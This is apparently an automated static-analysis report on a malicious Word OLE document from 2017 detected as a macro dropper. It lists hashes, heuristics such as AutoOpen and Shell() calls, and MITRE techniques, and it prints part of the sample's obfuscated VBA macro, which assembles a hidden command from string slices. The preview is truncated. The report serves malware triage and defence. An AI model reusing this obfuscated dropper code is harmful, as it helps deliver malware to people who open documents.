Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2c89cc8d8b0daff5…

MALICIOUS

Office (OLE)

76.5 KB Created: 2017-10-13 20:55:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 7cc3e1c73c6395af7dd4b0a8303e2ea6 SHA-1: f2062baa950568ad265338f40d51978965f58fba SHA-256: 2c89cc8d8b0daff5b712894f25bf33baff362e0c72a0dc6986281404dc3233ce
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro includes a critical heuristic firing for Shell() calls, indicating an attempt to execute arbitrary commands. This functionality is commonly used by droppers to download and execute further malicious payloads. The ClamAV detection name 'Doc.Dropper.Agent-6354134-0' further supports this assessment.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6354134-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6354134-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10376 bytes
SHA-256: 15ab6e4137803df5e601284f56da93131f07cf1a034066e1204b503362def4aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub zWlJprBaD()
LTUjjQGAU = "" + uBGphf + IzMwMr + TnEzmGha + vwCjjow + BmiIsz + BNdKPShA + HBhWalAr + VKrfvi + zvaNh + oMwZdXL + OwEciG + mQlmoWo + "coMments" + uBGphf + IzMwMr + TnEzmGha + vwCjjow + BmiIsz + BNdKPShA + HBhWalAr + VKrfvi + zvaNh + oMwZdXL + OwEciG + mQlmoWo + VRzpN + mZkZas + dLXUI + wsaTw + CCtrmToI
JzUIrsWcJI = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 10413), 81)
HbHPwnc = Right(Left((jujWzZwjo(LTUjjQGAU)), 8312), 71)
CwDRw = Right(Left((jujWzZwjo(LTUjjQGAU)), 3482), 105)
zijNv = Mid((jujWzZwjo(LTUjjQGAU)), 3769, 11)
YdtrtWdHLh = Mid((jujWzZwjo(LTUjjQGAU)), 12736, 21)
rzQNKbRhH = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 10549), 64)
qvhQcbZ = Mid((jujWzZwjo(LTUjjQGAU)), 13911, 111)
rmilDwjN = Mid((jujWzZwjo(LTUjjQGAU)), 3529, 21)
lWtQTIjVZli = Mid((jujWzZwjo(LTUjjQGAU)), 14474, 127)
zAoEOiJNsD = JzUIrsWcJI + HbHPwnc + CwDRw + zijNv + YdtrtWdHLh + rzQNKbRhH + qvhQcbZ + rmilDwjN + lWtQTIjVZli
twiNHsG = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 4461), 34)
sHELXAAWHbO = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 6914), 148)
tcOuELLs = Mid((jujWzZwjo(LTUjjQGAU)), 7933, 12)
VHTFRwwIa = Mid((jujWzZwjo(LTUjjQGAU)), 12171, 8)
IjADGJNVvcw = Mid((jujWzZwjo(LTUjjQGAU)), 5220, 124)
DCwNovo = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 15671), 77)
cjDEuiY = Right(Left((jujWzZwjo(LTUjjQGAU)), 3978), 144)
oNZkvOq = Right(Left((jujWzZwjo(LTUjjQGAU)), 5086), 62)
zWfCX = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 8050), 126)
ERACOizmIJ = zAoEOiJNsD + twiNHsG + sHELXAAWHbO + tcOuELLs + VHTFRwwIa + IjADGJNVvcw + DCwNovo + cjDEuiY + oNZkvOq + zWfCX
GkWqtqi = Right(Left((jujWzZwjo(LTUjjQGAU)), 3206), 8)
LLFsTXXz = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 79), 95)
ftrzqvm = Mid((jujWzZwjo(LTUjjQGAU)), 14679, 43)
stNoDiIP = Right(Left((jujWzZwjo(LTUjjQGAU)), 882), 81)
lHLEiFowW = Mid((jujWzZwjo(LTUjjQGAU)), 1766, 64)
PJAnPZPm = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 2642), 75)
WCJKIJVXITp = ERACOizmIJ + GkWqtqi + LLFsTXXz + ftrzqvm + stNoDiIP + lHLEiFowW + PJAnPZPm
zQHwd = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 5951), 47)
BoJtch = Right(Left((jujWzZwjo(LTUjjQGAU)), 1399), 72)
jCKwGRuMB = Mid((jujWzZwjo(LTUjjQGAU)), 11436, 94)
ocfvk = Mid((jujWzZwjo(LTUjjQGAU)), 7588, 3)
ivpQKQwkVNA = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 7516), 46)
bmsYRiOlj = Right(Left((jujWzZwjo(LTUjjQGAU)), 11005), 137)
FjXwl = Right(Left((jujWzZwjo(LTUjjQGAU)), 6653), 93)
ZqiDnqTrtCW = Mid((jujWzZwjo(LTUjjQGAU)), 15313, 64)
LkmiBjGdG = Right(Left((jujWzZwjo(LTUjjQGAU)), 1668), 2)
uqkKdt = Mid((jujWzZwjo(LTUjjQGAU)), 14280, 60)
AUbazYwCFak = Right(Left((jujWzZwjo(LTUjjQGAU)), 13427), 4)
nYtUutu = Right(Left((jujWzZwjo(LTUjjQGAU)), 6245), 148)
PSCYIwF = Mid((jujWzZwjo(LTUjjQGAU)), 13822, 24)
ACXvLk = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 7647), 1)
GDhADVbuGS = Right(Left((jujWzZwjo(LTUjjQGAU)), 12656), 108)
jAFzkFIXYP = Mid((jujWzZwjo(LTUjjQGAU)), 8907, 52)
zMjKrsMIKFm = Mid((jujWzZwjo(LTUjjQGAU)), 11881, 89)
RqBkDrlRCO = WCJKIJVXITp + zQHwd + BoJtch + jCKwGRuMB + ocfvk + ivpQKQwkVNA + bmsYRiOlj + FjXwl + ZqiDnqTrtCW + LkmiBjGdG + uqkKdt + AUbazYwCFak + nYtUutu + PSCYIwF + ACXvLk + GDhADVbuGS + jAFzkFIXYP + zMjKrsMIKFm
iNPcWuLzt = Mid((jujWzZwjo(LTUjjQGAU)), 9625, 35)
ifijNRhG = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 14950), 74)
owokLTLJ = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 9878), 5)
XfmzmhzoLQ = Mid((jujWzZwjo(LTUjjQGAU)), 13145, 145)
ciBXJBDl = Mid((jujWzZwjo(LTUjjQGAU)), 14349,
... (truncated)

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